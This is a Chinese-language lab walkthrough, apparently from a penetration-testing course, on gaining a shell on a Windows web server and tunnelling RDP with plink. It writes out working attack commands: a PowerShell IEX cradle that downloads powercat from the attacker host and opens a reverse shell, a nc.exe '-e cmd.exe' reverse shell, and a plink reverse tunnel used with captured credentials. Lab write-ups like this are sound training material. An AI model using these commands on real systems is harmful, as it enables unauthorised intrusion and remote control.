Windows 連接埠轉發 - Plink
Windows 連接埠轉發 - Plink
儘管現在的 Windows 已經預設內建 SSH.exe，但實際環境中很多管理者會限制甚至移除
這時候尋求 PUTTY.exe 或是 PLINK 是另外一種好用的工具
環境說明，目標 Windows 對外僅有開放 Web Service 80 Port
第一步，透過 Web Service 入侵建立 Interactive Shell
攻擊機 192.168.45.160
靶機 192.168.201.64
rustscan 後，靶機對外僅有 80 Port
gobuster 看看入侵點吧
└─$ gobuster -w "directory-list-2.3-medium.txt" dir -u http://192.168.201.64/ -t 150 -x .aspx
那就 ignore 該 length 繼續，└─$ gobuster -w "directory-list-2.3-medium.txt" dir -u http://192.168.201.64/ -t 150 -x .aspx --exclude-length 1917
網站有個子路徑 /umbraco
gobuster 加上子路徑再掃看看
└─$ gobuster -w "directory-list-2.3-medium.txt" dir -u http://192.168.201.64/umbraco -t 150 -x .aspx
掃完發現有個可以直接利用的 forms.aspx，可以直接下 command
之前有學過可以直接利用 powercat.ps1，powercat.ps1 查找與複製到 HTTP Server 根目錄
指令如下 powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.45.160/powercat.ps1');powercat -c 192.168.45.160 -p 4444 -e powershell"
remote shell 進來了，ipconfig 確認無誤接著 whoami 看一下是 IIS 的權限
另外也可以利用 nc.exe，kali 本機就有內建 nc.exe 可供使用
不知道在哪可以直接查找 find / -name nc.exe 2>/dev/null
nc.exe 位於 /usr/share/windows-resources/binaries/nc.exe
將 nc.exe COPY 到 kali home 目錄然後起 HTTP Server 等等下載 nc.exe payload 用
└─$ cp /usr/share/windows-resources/binaries/nc.exe .
接著用 powershell 接 wget 指令將 nc.exe 下載到 Windows 主機
指令 powershell wget -Uri http://192.168.45.160/nc.exe -OutFile C:\Windows\Temp\nc.exe
然後直接執行 nc.exe 連到攻擊機的 4444 Port
指令 : C:\Windows\Temp\nc.exe -e cmd.exe 192.168.45.160 4444
Remote Shell 進來了，一樣 whoami & ipconfig 看一下
測試了一下發現這一台 Windows 還真的沒有安裝(或是移除了) SSH.exe
那就改用好用的工具 plink.exe，kali 一樣有內建，一樣將檔案 COPY 到 Web Server 根目錄
└─$ find / -name plink.exe 2>/dev/null
一樣下載到 C:\Windows\Temp\~ 底下
指令 : powershell wget -Uri http://192.168.45.160/plink.exe -OutFile C:\Windows\Temp\plink.exe
plink 指令與 OPENSSH 類似
指令 : cmd.exe /c echo y | .\plink.exe -ssh -l kali -pw "kali" -R 127.0.0.1:9833:127.0.0.1:3389 192.168.45.160
結果說 FATAL ERRORC:\windows\Temp>: Network error: Connection refused
看來是現在的 SSH 不是用高權限起的，所以輸入 └─$ sudo systemctl start ssh
再測試一次指令 : cmd.exe /c echo y | .\plink.exe -ssh -l kali -pw "kali" -R 127.0.0.1:9833:127.0.0.1:3389 192.168.45.160，結果成功了
kali 的 9833 Port 起來了
通過 SSH Tunnel 對應到 Windows 機器的 3389 Port，如下圖
所以直接 xfreerdp kali 自己的 9833 Port，就可以開啟 Windows 的遠端桌面了
用之前拿到的帳號密碼，指令 xfreerdp /u:rdp_admin /p:P@ssw0rd! /v:127.0.0.1:9833
可以看到 RDP 開起來了，顯示是 127.0.0.1:9833
直接拿桌面的 flag 吧
留言
張貼留言